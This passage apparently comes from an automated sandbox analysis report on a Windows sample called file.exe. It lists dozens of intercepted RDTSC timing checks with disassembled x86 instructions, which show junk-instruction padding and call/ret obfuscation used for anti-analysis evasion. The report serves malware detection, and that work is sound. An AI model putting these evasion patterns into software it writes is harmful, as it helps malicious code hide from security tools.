ptr [ebp+122D2F3Fh], ecx 0x00000047 popad 0x00000048 mov bx, 8376h 0x0000004c popad 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push esi 0x00000051 push eax 0x00000052 pop eax 0x00000053 pop esi 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BB89 second address: F4BB8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BB8F second address: F4BBA6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CBC9 second address: F4CBCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F9E4 second address: F4F9EE instructions: 0x00000000 rdtsc 0x00000002 je 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FFEE second address: F50000 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5029365E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F5029365E06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42FD2 second address: F42FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5210C second address: F52113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52113 second address: F52135 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5028523948h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5028523952h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52135 second address: F521A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F5029365E08h 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F5029365E08h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jbe 00007F5029365E0Ch 0x0000002e mov dword ptr [ebp+122D1EE2h], eax 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F5029365E08h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 push 00000000h 0x00000052 mov ebx, dword ptr [ebp+122D2022h] 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c je 00007F5029365E06h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F531F0 second address: F531FA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F502852394Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F531FA second address: F53236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122D28A7h] 0x0000000f push 00000000h 0x00000011 call 00007F5029365E12h 0x00000016 mov ebx, 7CD0A406h 0x0000001b pop ebx 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D2BC3h] 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jne 00007F5029365E08h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53236 second address: F5323B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55813 second address: F55822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F5029365E06h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BDA5 second address: F4BE6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523950h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b jmp 00007F5028523956h 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F5028523948h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov edi, 78FB2D00h 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov di, 52BCh 0x00000043 mov eax, dword ptr [ebp+122D0639h] 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007F5028523948h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 or dword ptr [ebp+122D1E2Fh], esi 0x00000069 sbb edi, 24DA463Ch 0x0000006f push FFFFFFFFh 0x00000071 jbe 00007F502852394Ch 0x00000077 adc edi, 436183E1h 0x0000007d nop 0x0000007e jo 00007F502852394Eh 0x00000084 push eax 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007F5028523954h 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F566D6 second address: F566DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F566DA second address: F566FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5028523957h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F566FC second address: F56706 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5029365E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56706 second address: F5670C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5861E second address: F58623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58623 second address: F5862A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F522FC second address: F52352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov di, B3A4h 0x0000000d mov dword ptr [ebp+122D26A7h], eax 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov bx, D371h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov ebx, dword ptr [ebp+122D1FDDh] 0x0000002b mov eax, dword ptr [ebp+122D05E5h] 0x00000031 mov dword ptr [ebp+122D304Eh], ecx 0x00000037 ja 00007F5029365E0Ch 0x0000003d push FFFFFFFFh 0x0000003f mov edi, dword ptr [ebp+122D2A6Bh] 0x00000045 push eax 0x00000046 jo 00007F5029365E14h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52352 second address: F52356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BDDE second address: F5BE03 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5029365E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5029365E17h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F9FF second address: F5FA17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F578F6 second address: F5790C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5790C second address: F57915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57915 second address: F57919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57919 second address: F5791D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AF7A second address: F5AF9D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F5029365E08h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 jmp 00007F5029365E0Fh 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AF9D second address: F5AFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C013 second address: F5C017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64DA2 second address: F64DAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650B3 second address: F650B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B011 second address: F6B016 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B016 second address: F6B054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007F5029365E19h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5029365E0Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B054 second address: F6B064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B064 second address: F6B068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B2E6 second address: F6B30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F502852394Ah 0x00000009 popad 0x0000000a pop esi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push esi 0x00000010 push ebx 0x00000011 jnl 00007F5028523946h 0x00000017 pop ebx 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B30B second address: F6B333 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5029365E18h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B333 second address: F6B34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F502852394Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F5028523946h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FE84 second address: F6FE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6FC0 second address: EF6FC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6FC4 second address: EF6FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6FCD second address: EF6FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F502852394Fh 0x00000009 pop eax 0x0000000a push edx 0x0000000b jno 00007F5028523946h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6FED second address: EF6FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB5C second address: F6EB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F502852394Bh 0x00000009 jnl 00007F5028523946h 0x0000000f jmp 00007F502852394Ah 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB7C second address: F6EB82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB82 second address: F6EB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F54C second address: F6F551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F551 second address: F6F558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F6B2 second address: F6F6CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Dh 0x00000007 je 00007F5029365E06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F6CD second address: F6F6EE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5028523957h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F83A second address: F6F86A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E18h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F5029365E12h 0x00000011 jg 00007F5029365E06h 0x00000017 jl 00007F5029365E06h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F86A second address: F6F870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F870 second address: F6F876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F876 second address: F6F87A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F87A second address: F6F896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 jo 00007F5029365E06h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 ja 00007F5029365E22h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FB4A second address: F6FB4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728B1 second address: F728B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728B5 second address: F728C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F502852394Ah 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728C9 second address: F728DD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5029365E08h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F5029365E06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728DD second address: F728E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728E1 second address: F728EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728EF second address: F728F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F728F3 second address: F72920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5029365E0Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F5029365E14h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75B46 second address: F75B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75B4B second address: F75B50 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79D3D second address: F79D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A02B second address: F7A055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E10h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F5029365E0Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A055 second address: F7A05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A05A second address: F7A06B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5029365E0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A06B second address: F7A06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A1AC second address: F7A1C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5029365E06h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jnc 00007F5029365E06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7969A second address: F796CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F502852394Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jo 00007F5028523946h 0x00000014 jmp 00007F5028523958h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AA49 second address: F7AA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AA51 second address: F7AA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jnl 00007F5028523946h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80876 second address: F8087C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F6A0 second address: F7F6A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47A63 second address: F47A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47A6E second address: F23807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523951h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F5028523948h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov ecx, dword ptr [ebp+122D28CFh] 0x0000002b call dword ptr [ebp+122D2E73h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47E83 second address: F47E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4800B second address: F4801F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523950h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4801F second address: F48025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48025 second address: F4803D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F502852394Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4803D second address: F48042 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48042 second address: F4806A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F5028523957h 0x00000015 popad 0x00000016 rdtsc
